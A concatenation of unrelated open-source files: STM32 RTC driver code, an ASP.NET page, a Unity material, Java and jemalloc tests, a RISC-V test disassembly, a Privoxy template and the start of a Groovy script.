subsecondtmpreg = (uint32_t)((uint32_t)(sAlarm->AlarmTime.SubSeconds) | (uint32_t)(sAlarm->AlarmSubSecondMask));
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
/* Configure the Alarm register */
if(sAlarm->Alarm == RTC_ALARM_A)
{
/* Disable the Alarm A interrupt */
__HAL_RTC_ALARMA_DISABLE(hrtc);
/* Clear flag alarm A */
__HAL_RTC_ALARM_CLEAR_FLAG(hrtc, RTC_FLAG_ALRAF);
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC ALRAWF flag is set and if Time out is reached exit */
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRAWF) == RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_TIMEOUT;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_TIMEOUT;
}
}
hrtc->Instance->ALRMAR = (uint32_t)tmpreg;
/* Configure the Alarm A Sub Second register */
hrtc->Instance->ALRMASSR = subsecondtmpreg;
/* Configure the Alarm state: Enable Alarm */
__HAL_RTC_ALARMA_ENABLE(hrtc);
/* Configure the Alarm interrupt */
__HAL_RTC_ALARM_ENABLE_IT(hrtc,RTC_IT_ALRA);
}
else
{
/* Disable the Alarm B interrupt */
__HAL_RTC_ALARMB_DISABLE(hrtc);
/* Clear flag alarm B */
__HAL_RTC_ALARM_CLEAR_FLAG(hrtc, RTC_FLAG_ALRBF);
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC ALRBWF flag is set and if Time out is reached exit */
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRBWF) == RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_TIMEOUT;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_TIMEOUT;
}
}
hrtc->Instance->ALRMBR = (uint32_t)tmpreg;
/* Configure the Alarm B Sub Second register */
hrtc->Instance->ALRMBSSR = subsecondtmpreg;
/* Configure the Alarm state: Enable Alarm */
__HAL_RTC_ALARMB_ENABLE(hrtc);
/* Configure the Alarm interrupt */
__HAL_RTC_ALARM_ENABLE_IT(hrtc, RTC_IT_ALRB);
}
/* RTC Alarm Interrupt Configuration: EXTI configuration */
__HAL_RTC_ALARM_EXTI_ENABLE_IT();
EXTI->RTSR |= RTC_EXTI_LINE_ALARM_EVENT;
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_READY;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_OK;
}
/**
* @brief Deactive the specified RTC Alarm
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param Alarm: Specifies the Alarm.
* This parameter can be one of the following values:
* @arg RTC_ALARM_A: AlarmA
* @arg RTC_ALARM_B: AlarmB
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_DeactivateAlarm(RTC_HandleTypeDef *hrtc, uint32_t Alarm)
{
uint32_t tickstart = 0;
/* Check the parameters */
assert_param(IS_RTC_ALARM(Alarm));
/* Process Locked */
__HAL_LOCK(hrtc);
hrtc->State = HAL_RTC_STATE_BUSY;
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
if(Alarm == RTC_ALARM_A)
{
/* AlarmA */
__HAL_RTC_ALARMA_DISABLE(hrtc);
/* In case of interrupt mode is used, the interrupt source must disabled */
__HAL_RTC_ALARM_DISABLE_IT(hrtc, RTC_IT_ALRA);
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC ALRxWF flag is set and if Time out is reached exit */
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRAWF) == RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_TIMEOUT;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_TIMEOUT;
}
}
}
else
{
/* AlarmB */
__HAL_RTC_ALARMB_DISABLE(hrtc);
/* In case of interrupt mode is used, the interrupt source must disabled */
__HAL_RTC_ALARM_DISABLE_IT(hrtc,RTC_IT_ALRB);
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC ALRxWF flag is set and if Time out is reached exit */
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRBWF) == RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_TIMEOUT;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_TIMEOUT;
}
}
}
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_READY;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_OK;
}
/**
* @brief Gets the RTC Alarm value and masks.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sAlarm: Pointer to Date structure
* @param Alarm: Specifies the Alarm.
* This parameter can be one of the following values:
* @arg RTC_ALARM_A: AlarmA
* @arg RTC_ALARM_B: AlarmB
* @param Format: Specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_GetAlarm(RTC_HandleTypeDef *hrtc, RTC_AlarmTypeDef *sAlarm, uint32_t Alarm, uint32_t Format)
{
uint32_t tmpreg = 0, subsecondtmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
assert_param(IS_RTC_ALARM(Alarm));
if(Alarm == RTC_ALARM_A)
{
/* AlarmA */
sAlarm->Alarm = RTC_ALARM_A;
tmpreg = (uint32_t)(hrtc->Instance->ALRMAR);
subsecondtmpreg = (uint32_t)((hrtc->Instance->ALRMASSR ) & RTC_ALRMASSR_SS);
}
else
{
sAlarm->Alarm = RTC_ALARM_B;
tmpreg = (uint32_t)(hrtc->Instance->ALRMBR);
subsecondtmpreg = (uint32_t)((hrtc->Instance->ALRMBSSR) & RTC_ALRMBSSR_SS);
}
/* Fill the structure with the read parameters */
sAlarm->AlarmTime.Hours = (uint32_t)((tmpreg & (RTC_ALRMAR_HT | RTC_ALRMAR_HU)) >> 16);
sAlarm->AlarmTime.Minutes = (uint32_t)((tmpreg & (RTC_ALRMAR_MNT | RTC_ALRMAR_MNU)) >> 8);
sAlarm->AlarmTime.Seconds = (uint32_t)(tmpreg & (RTC_ALRMAR_ST | RTC_ALRMAR_SU));
sAlarm->AlarmTime.TimeFormat = (uint32_t)((tmpreg & RTC_ALRMAR_PM) >> 16);
sAlarm->AlarmTime.SubSeconds = (uint32_t) subsecondtmpreg;
sAlarm->AlarmDateWeekDay = (uint32_t)((tmpreg & (RTC_ALRMAR_DT | RTC_ALRMAR_DU)) >> 24);
sAlarm->AlarmDateWeekDaySel = (uint32_t)(tmpreg & RTC_ALRMAR_WDSEL);
sAlarm->AlarmMask = (uint32_t)(tmpreg & RTC_ALARMMASK_ALL);
if(Format == RTC_FORMAT_BIN)
{
sAlarm->AlarmTime.Hours = RTC_Bcd2ToByte(sAlarm->AlarmTime.Hours);
sAlarm->AlarmTime.Minutes = RTC_Bcd2ToByte(sAlarm->AlarmTime.Minutes);
sAlarm->AlarmTime.Seconds = RTC_Bcd2ToByte(sAlarm->AlarmTime.Seconds);
sAlarm->AlarmDateWeekDay = RTC_Bcd2ToByte(sAlarm->AlarmDateWeekDay);
}
return HAL_OK;
}
/**
* @brief This function handles Alarm interrupt request.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval None
*/
void HAL_RTC_AlarmIRQHandler(RTC_HandleTypeDef* hrtc)
{
if(__HAL_RTC_ALARM_GET_IT(hrtc, RTC_IT_ALRA))
{
/* Get the status of the Interrupt */
if((uint32_t)(hrtc->Instance->CR & RTC_IT_ALRA) != (uint32_t)RESET)
{
/* AlarmA callback */
HAL_RTC_AlarmAEventCallback(hrtc);
/* Clear the Alarm interrupt pending bit */
__HAL_RTC_ALARM_CLEAR_FLAG(hrtc,RTC_FLAG_ALRAF);
}
}
if(__HAL_RTC_ALARM_GET_IT(hrtc, RTC_IT_ALRB))
{
/* Get the status of the Interrupt */
if((uint32_t)(hrtc->Instance->CR & RTC_IT_ALRB) != (uint32_t)RESET)
{
/* AlarmB callback */
HAL_RTCEx_AlarmBEventCallback(hrtc);
/* Clear the Alarm interrupt pending bit */
__HAL_RTC_ALARM_CLEAR_FLAG(hrtc,RTC_FLAG_ALRBF);
}
}
/* Clear the EXTI's line Flag for RTC Alarm */
__HAL_RTC_ALARM_EXTI_CLEAR_FLAG();
/* Change RTC state */
hrtc->State = HAL_RTC_STATE_READY;
}
/**
* @brief Alarm A callback.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval None
*/
__weak void HAL_RTC_AlarmAEventCallback(RTC_HandleTypeDef *hrtc)
{
/* NOTE : This function Should not be modified, when the callback is needed,
the HAL_RTC_AlarmAEventCallback could be implemented in the user file
*/
}
/**
* @brief This function handles AlarmA Polling request.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param Timeout: Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_PollForAlarmAEvent(RTC_HandleTypeDef *hrtc, uint32_t Timeout)
{
uint32_t tickstart = 0;
/* Get tick */
tickstart = HAL_GetTick();
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRAF) == RESET)
{
if(Timeout != HAL_MAX_DELAY)
{
if((Timeout == 0)||((HAL_GetTick() - tickstart ) > Timeout))
{
hrtc->State = HAL_RTC_STATE_TIMEOUT;
return HAL_TIMEOUT;
}
}
}
/* Clear the Alarm interrupt pending bit */
__HAL_RTC_ALARM_CLEAR_FLAG(hrtc, RTC_FLAG_ALRAF);
/* Change RTC state */
hrtc->State = HAL_RTC_STATE_READY;
return HAL_OK;
}
/**
* @}
*/
/** @defgroup RTC_Exported_Functions_Group4 Peripheral Control functions
* @brief Peripheral Control functions
*
@verbatim
===============================================================================
##### Peripheral Control functions #####
===============================================================================
[..]
This subsection provides functions allowing to
(+) Wait for RTC Time and Date Synchronization
@endverbatim
* @{
*/
/**
* @brief Waits until the RTC Time and Date registers (RTC_TR and RTC_DR) are
* synchronized with RTC APB clock.
* @note The RTC Resynchronization mode is write protected, use the
* __HAL_RTC_WRITEPROTECTION_DISABLE() before calling this function.
* @note To read the calendar through the shadow registers after Calendar
* initialization, calendar update or after wake-up from low power modes
* the software must first clear the RSF flag.
* The software must then wait until it is set again before reading
* the calendar, which means that the calendar registers have been
* correctly copied into the RTC_TR and RTC_DR shadow registers.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_WaitForSynchro(RTC_HandleTypeDef* hrtc)
{
uint32_t tickstart = 0;
/* Clear RSF flag */
hrtc->Instance->ISR &= (uint32_t)RTC_RSF_MASK;
/* Get tick */
tickstart = HAL_GetTick();
/* Wait the registers to be synchronised */
while((hrtc->Instance->ISR & RTC_ISR_RSF) == (uint32_t)RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
return HAL_TIMEOUT;
}
}
return HAL_OK;
}
/**
* @}
*/
/** @defgroup RTC_Exported_Functions_Group5 Peripheral State functions
* @brief Peripheral State functions
*
@verbatim
===============================================================================
##### Peripheral State functions #####
===============================================================================
[..]
This subsection provides functions allowing to
(+) Get RTC state
@endverbatim
* @{
*/
/**
* @brief Returns the RTC state.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval HAL state
*/
HAL_RTCStateTypeDef HAL_RTC_GetState(RTC_HandleTypeDef* hrtc)
{
return hrtc->State;
}
/**
* @}
*/
/**
* @brief Enters the RTC Initialization mode.
* @note The RTC Initialization mode is write protected, use the
* __HAL_RTC_WRITEPROTECTION_DISABLE() before calling this function.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval HAL status
*/
HAL_StatusTypeDef RTC_EnterInitMode(RTC_HandleTypeDef* hrtc)
{
uint32_t tickstart = 0;
/* Check if the Initialization mode is set */
if((hrtc->Instance->ISR & RTC_ISR_INITF) == (uint32_t)RESET)
{
/* Set the Initialization mode */
hrtc->Instance->ISR = (uint32_t)RTC_INIT_MASK;
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC is in INIT state and if Time out is reached exit */
while((hrtc->Instance->ISR & RTC_ISR_INITF) == (uint32_t)RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
return HAL_TIMEOUT;
}
}
}
return HAL_OK;
}
/**
* @brief Converts a 2 digit decimal to BCD format.
* @param Value: Byte to be converted
* @retval Converted byte
*/
uint8_t RTC_ByteToBcd2(uint8_t Value)
{
uint32_t bcdhigh = 0;
while(Value >= 10)
{
bcdhigh++;
Value -= 10;
}
return ((uint8_t)(bcdhigh << 4) | Value);
}
/**
* @brief Converts from 2 digit BCD to Binary.
* @param Value: BCD value to be converted
* @retval Converted word
*/
uint8_t RTC_Bcd2ToByte(uint8_t Value)
{
uint32_t tmp = 0;
tmp = ((uint8_t)(Value & (uint8_t)0xF0) >> (uint8_t)0x4) * 10;
return (tmp + (Value & (uint8_t)0x0F));
}
/**
* @}
*/
#endif /* HAL_RTC_MODULE_ENABLED */
/**
* @}
*/
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
public partial class _Bug471305_Default : System.Web.UI.Page
{
public class CustomControl : Control
{
protected override void OnInit(EventArgs e)
{
Label label = new Label();
label.Text = "label";
Controls.Add(label);
base.OnInit(e);
}
}
protected void Page_Load(object sender, EventArgs e)
{
CustomControl ctrl = new CustomControl();
Form.Controls.Add(ctrl);
Form.Controls.Remove(ctrl);
Form.Controls.Add(ctrl);
}
}
|
{
"pile_set_name": "Github"
}
|
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!21 &2100000
Material:
serializedVersion: 6
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_Name: IE Example Prism Magenta
m_Shader: {fileID: 46, guid: 0000000000000000f000000000000000, type: 0}
m_ShaderKeywords: _ALPHAPREMULTIPLY_ON _EMISSION
m_LightmapFlags: 1
m_EnableInstancingVariants: 0
m_CustomRenderQueue: 3000
stringTagMap:
RenderType: Transparent
disabledShaderPasses: []
m_SavedProperties:
serializedVersion: 3
m_TexEnvs:
- _BumpMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailAlbedoMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailMask:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailNormalMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _EmissionMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _MainTex:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _MetallicGlossMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _OcclusionMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _ParallaxMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
m_Floats:
- _BumpScale: 1
- _Cutoff: 0.5
- _DetailNormalMapScale: 1
- _DstBlend: 10
- _GlossMapScale: 1
- _Glossiness: 0.898
- _GlossyReflections: 1
- _Metallic: 0.222
- _Mode: 3
- _OcclusionStrength: 1
- _Parallax: 0.02
- _SmoothnessTextureChannel: 0
- _SpecularHighlights: 1
- _SrcBlend: 1
- _UVSec: 0
- _ZWrite: 0
m_Colors:
- _Color: {r: 0.8207909, g: 0.31617647, b: 1, a: 0.616}
- _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
|
{
"pile_set_name": "Github"
}
|
APP_ABI := all
APP_STL := stlport_static
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2010-2011 Lockheed Martin Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.eurekastreams.server.persistence.mappers.db.metrics;
import static org.junit.Assert.assertEquals;
import java.util.Date;
import org.eurekastreams.server.domain.EntityType;
import org.eurekastreams.server.domain.stream.Activity;
import org.eurekastreams.server.domain.stream.Comment;
import org.eurekastreams.server.persistence.mappers.MapperTest;
import org.eurekastreams.server.service.actions.requests.UsageMetricDailyStreamInfoRequest;
import org.junit.Before;
import org.junit.Test;
/**
* Test fixture for GetDailyMessageCountDbMapper.
*/
public class GetDailyMessageCountDbMapperTest extends MapperTest
{
/**
* April 4th, 2011 in ticks.
*/
private final long april4th2011 = 1301944331000L;
/**
* April 5th, 2011 in ticks.
*/
private final long april5th2011 = 1302030731000L;
/**
* System under test.
*/
private GetDailyMessageCountDbMapper sut;
/**
* Setup - set 2 activities and 1 comment to april 4th, 2011.
*/
@Before
public void setup()
{
Activity act;
Comment comment;
Date april4th = new Date(april4th2011);
sut = new GetDailyMessageCountDbMapper();
sut.setEntityManager(getEntityManager());
final long actId1 = 6789L;
act = getEntityManager().find(Activity.class, actId1);
act.setPostedTime(april4th);
act.setAppType(EntityType.APPLICATION);
getEntityManager().persist(act);
final long actId2 = 6790L;
act = getEntityManager().find(Activity.class, actId2);
act.setPostedTime(april4th);
act.setAppType(null);
getEntityManager().persist(act);
// an activity not by a person - this should be ignored
final long actId3 = 6791L;
act = getEntityManager().find(Activity.class, actId3);
act.setAppType(EntityType.PLUGIN);
act.setPostedTime(april4th);
getEntityManager().persist(act);
// an activity not by a person - this should be ignored
final long actId4 = 6793L;
act = getEntityManager().find(Activity.class, actId4);
act.setAppType(EntityType.PLUGIN);
act.setPostedTime(april4th);
getEntityManager().persist(act);
final long commentId = 9;
comment = getEntityManager().find(Comment.class, commentId);
comment.setTimeSent(april4th);
getEntityManager().persist(comment);
getEntityManager().flush();
}
/**
* Test execute for all streams.
*/
@Test
public void testExecuteForAllStreams()
{
Date april4th = new Date(april4th2011 + 8); // change the date a little bit
assertEquals(3, (long) sut.execute(new UsageMetricDailyStreamInfoRequest(april4th, null)));
}
/**
* Test execute for a specific stream with data.
*/
@Test
public void testExecuteForSpecificStreamWithData()
{
final Long streamScopeId = 87433L;
Date april4th = new Date(april4th2011 + 8); // change the date a little bit
assertEquals(2, (long) sut.execute(new UsageMetricDailyStreamInfoRequest(april4th, streamScopeId)));
}
/**
* Test execute for a specific stream with no data - no data for this stream scope.
*/
@Test
public void testExecuteForSpecificStreamWithNoData1()
{
final Long streamScopeId = 877L;
Date april4th = new Date(april4th2011 + 8); // change the date a little bit
assertEquals(0, (long) sut.execute(new UsageMetricDailyStreamInfoRequest(april4th, streamScopeId)));
}
/**
* Test execute for a specific stream with no data - no data for this date.
*/
@Test
public void testExecuteForSpecificStreamWithNoData2()
{
final Long streamScopeId = 877L;
Date april4th = new Date(april5th2011 + 8); // change the date a little bit
assertEquals(0, (long) sut.execute(new UsageMetricDailyStreamInfoRequest(april4th, streamScopeId)));
}
}
|
{
"pile_set_name": "Github"
}
|
#include "test/jemalloc_test.h"
void *
thd_start(void *arg) {
bool e0, e1;
size_t sz = sizeof(bool);
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz, NULL,
0), 0, "Unexpected mallctl failure");
if (e0) {
e1 = false;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_true(e0, "tcache should be enabled");
}
e1 = true;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_false(e0, "tcache should be disabled");
e1 = true;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_true(e0, "tcache should be enabled");
e1 = false;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_true(e0, "tcache should be enabled");
e1 = false;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_false(e0, "tcache should be disabled");
free(malloc(1));
e1 = true;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_false(e0, "tcache should be disabled");
free(malloc(1));
e1 = true;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_true(e0, "tcache should be enabled");
free(malloc(1));
e1 = false;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_true(e0, "tcache should be enabled");
free(malloc(1));
e1 = false;
assert_d_eq(mallctl("thread.tcache.enabled", (void *)&e0, &sz,
(void *)&e1, sz), 0, "Unexpected mallctl() error");
assert_false(e0, "tcache should be disabled");
free(malloc(1));
return NULL;
}
TEST_BEGIN(test_main_thread) {
thd_start(NULL);
}
TEST_END
TEST_BEGIN(test_subthread) {
thd_t thd;
thd_create(&thd, thd_start, NULL);
thd_join(thd, NULL);
}
TEST_END
int
main(void) {
/* Run tests multiple times to check for bad interactions. */
return test(
test_main_thread,
test_subthread,
test_main_thread,
test_subthread,
test_main_thread);
}
|
{
"pile_set_name": "Github"
}
|
/home/spinalvm/hdl/riscv-compliance/work//C.ADDI16SP.elf: file format elf32-littleriscv
Disassembly of section .text.init:
80000000 <_start>:
80000000: 0001 nop
80000002: 0001 nop
80000004: 0001 nop
80000006: 0001 nop
80000008: 0001 nop
8000000a: 0001 nop
8000000c: 0001 nop
8000000e: 0001 nop
80000010: 0001 nop
80000012: 0001 nop
80000014: 0001 nop
80000016: 0001 nop
80000018: 0001 nop
8000001a: 0001 nop
8000001c: 0001 nop
8000001e: 0001 nop
80000020: 0001 nop
80000022: 0001 nop
80000024: 0001 nop
80000026: 0001 nop
80000028: 0001 nop
8000002a: 0001 nop
8000002c: 0001 nop
8000002e: 0001 nop
80000030: 0001 nop
80000032: 0001 nop
80000034: 0001 nop
80000036: 0001 nop
80000038: 0001 nop
8000003a: 0001 nop
8000003c: 0001 nop
8000003e: 0001 nop
80000040: 0001 nop
80000042: 0001 nop
80000044: 0001 nop
80000046: 0001 nop
80000048: 0001 nop
8000004a: 0001 nop
8000004c: 0001 nop
8000004e: 0001 nop
80000050: 0001 nop
80000052: 0001 nop
80000054: 0001 nop
80000056: 0001 nop
80000058: 0001 nop
8000005a: 0001 nop
8000005c: 0001 nop
8000005e: 0001 nop
80000060: 0001 nop
80000062: 0001 nop
80000064: 0001 nop
80000066: 0001 nop
80000068: 0001 nop
8000006a: 0001 nop
8000006c: 0001 nop
8000006e: 0001 nop
80000070: 0001 nop
80000072: 0001 nop
80000074: 0001 nop
80000076: 0001 nop
80000078: 0001 nop
8000007a: 0001 nop
8000007c: 0001 nop
8000007e: 0001 nop
80000080: 0001 nop
80000082: 0001 nop
80000084: 0001 nop
80000086: 0001 nop
80000088: 0001 nop
8000008a: 0001 nop
8000008c: 0001 nop
8000008e: 0001 nop
80000090: 0001 nop
80000092: 0001 nop
80000094: 0001 nop
80000096: 0001 nop
80000098: 0001 nop
8000009a: 0001 nop
8000009c: 0001 nop
8000009e: 0001 nop
800000a0: 0001 nop
800000a2: 0001 nop
800000a4: 0001 nop
800000a6: 0001 nop
800000a8: 0001 nop
800000aa: 0001 nop
800000ac: 0001 nop
800000ae: 0001 nop
800000b0: 0001 nop
800000b2: 0001 nop
800000b4: 0001 nop
800000b6: 0001 nop
800000b8: 0001 nop
800000ba: 0001 nop
800000bc: 0001 nop
800000be: 0001 nop
800000c0: 0001 nop
800000c2: 0001 nop
800000c4: 0001 nop
800000c6: 0001 nop
800000c8: 0001 nop
800000ca: 0001 nop
800000cc: 0001 nop
800000ce: 0001 nop
800000d0: 0001 nop
800000d2: 0001 nop
800000d4: 0001 nop
800000d6: 0001 nop
800000d8: 0001 nop
800000da: 0001 nop
800000dc: 0001 nop
800000de: 0001 nop
800000e0: 0001 nop
800000e2: 0001 nop
800000e4: 0001 nop
800000e6: 0001 nop
800000e8: 0001 nop
800000ea: 0001 nop
800000ec: 0001 nop
800000ee: 00001097 auipc ra,0x1
800000f2: f1208093 addi ra,ra,-238 # 80001000 <codasip_signature_start>
800000f6: 0141 addi sp,sp,16
800000f8: 0020a023 sw sp,0(ra)
800000fc: 00001097 auipc ra,0x1
80000100: f0808093 addi ra,ra,-248 # 80001004 <test_2_res>
80000104: 6105 addi sp,sp,32
80000106: 0020a023 sw sp,0(ra)
8000010a: 00001097 auipc ra,0x1
8000010e: efe08093 addi ra,ra,-258 # 80001008 <test_3_res>
80000112: 6121 addi sp,sp,64
80000114: 0020a023 sw sp,0(ra)
80000118: 00001097 auipc ra,0x1
8000011c: ef408093 addi ra,ra,-268 # 8000100c <test_4_res>
80000120: 617d addi sp,sp,496
80000122: 0020a023 sw sp,0(ra)
80000126: 00001097 auipc ra,0x1
8000012a: eea08093 addi ra,ra,-278 # 80001010 <test_5_res>
8000012e: 7101 addi sp,sp,-512
80000130: 0020a023 sw sp,0(ra)
80000134: 00001517 auipc a0,0x1
80000138: ecc50513 addi a0,a0,-308 # 80001000 <codasip_signature_start>
8000013c: 00001597 auipc a1,0x1
80000140: ee458593 addi a1,a1,-284 # 80001020 <_end>
80000144: f0100637 lui a2,0xf0100
80000148: f2c60613 addi a2,a2,-212 # f00fff2c <_end+0x700fef0c>
8000014c <complience_halt_loop>:
8000014c: 00b50c63 beq a0,a1,80000164 <complience_halt_break>
80000150: 4554 lw a3,12(a0)
80000152: c214 sw a3,0(a2)
80000154: 4514 lw a3,8(a0)
80000156: c214 sw a3,0(a2)
80000158: 4154 lw a3,4(a0)
8000015a: c214 sw a3,0(a2)
8000015c: 4114 lw a3,0(a0)
8000015e: c214 sw a3,0(a2)
80000160: 0541 addi a0,a0,16
80000162: b7ed j 8000014c <complience_halt_loop>
80000164 <complience_halt_break>:
80000164: f0100537 lui a0,0xf0100
80000168: f2050513 addi a0,a0,-224 # f00fff20 <_end+0x700fef00>
8000016c: 00052023 sw zero,0(a0)
...
Disassembly of section .data:
80001000 <codasip_signature_start>:
80001000: ffff 0xffff
80001002: ffff 0xffff
80001004 <test_2_res>:
80001004: ffff 0xffff
80001006: ffff 0xffff
80001008 <test_3_res>:
80001008: ffff 0xffff
8000100a: ffff 0xffff
8000100c <test_4_res>:
8000100c: ffff 0xffff
8000100e: ffff 0xffff
80001010 <test_5_res>:
80001010: ffff 0xffff
80001012: ffff 0xffff
...
|
{
"pile_set_name": "Github"
}
|
##############################################################################
#
# File : $Source: /cvsroot/ijbswa/current/templates/edit-actions-list-button,v $
#
# Purpose : Template which forms part of edit-actions-list
#
#
# Copyright : Written by and Copyright (C) 2001 the SourceForge
# Privoxy team. http://www.privoxy.org/
#
# Original Author: Copyright (C) 2001 Jonathan Foster
# http://www.jon-foster.co.uk/
#
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General
# Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will
# be useful, but WITHOUT ANY WARRANTY; without even the
# implied warranty of MERCHANTABILITY or FITNESS FOR A
# PARTICULAR PURPOSE. See the GNU General Public
# License for more details.
#
# The GNU General Public License should be included with
# this file. If not, you can view it at
# http://www.gnu.org/copyleft/gpl.html
# or write to the Free Software Foundation, Inc., 59
# Temple Place - Suite 330, Boston, MA 02111-1307, USA.
#
#############################################################################
<a href="eas?f=@f@&v=@v@&s=@all-urls-s@&p=@button-name@#l@all-urls-s@">Set to @button-name@</a>
|
{
"pile_set_name": "Github"
}
|
/**
* Updates all properties ending with 'version' copying its value from the
* parent project.
* This script is made as an alternative to `versions-maven-plugin`, which
* validates versions and does not allow to use local installed snapshots :(
*/
import ParsingUtils as parser
import CommandLineUtils as commandLine
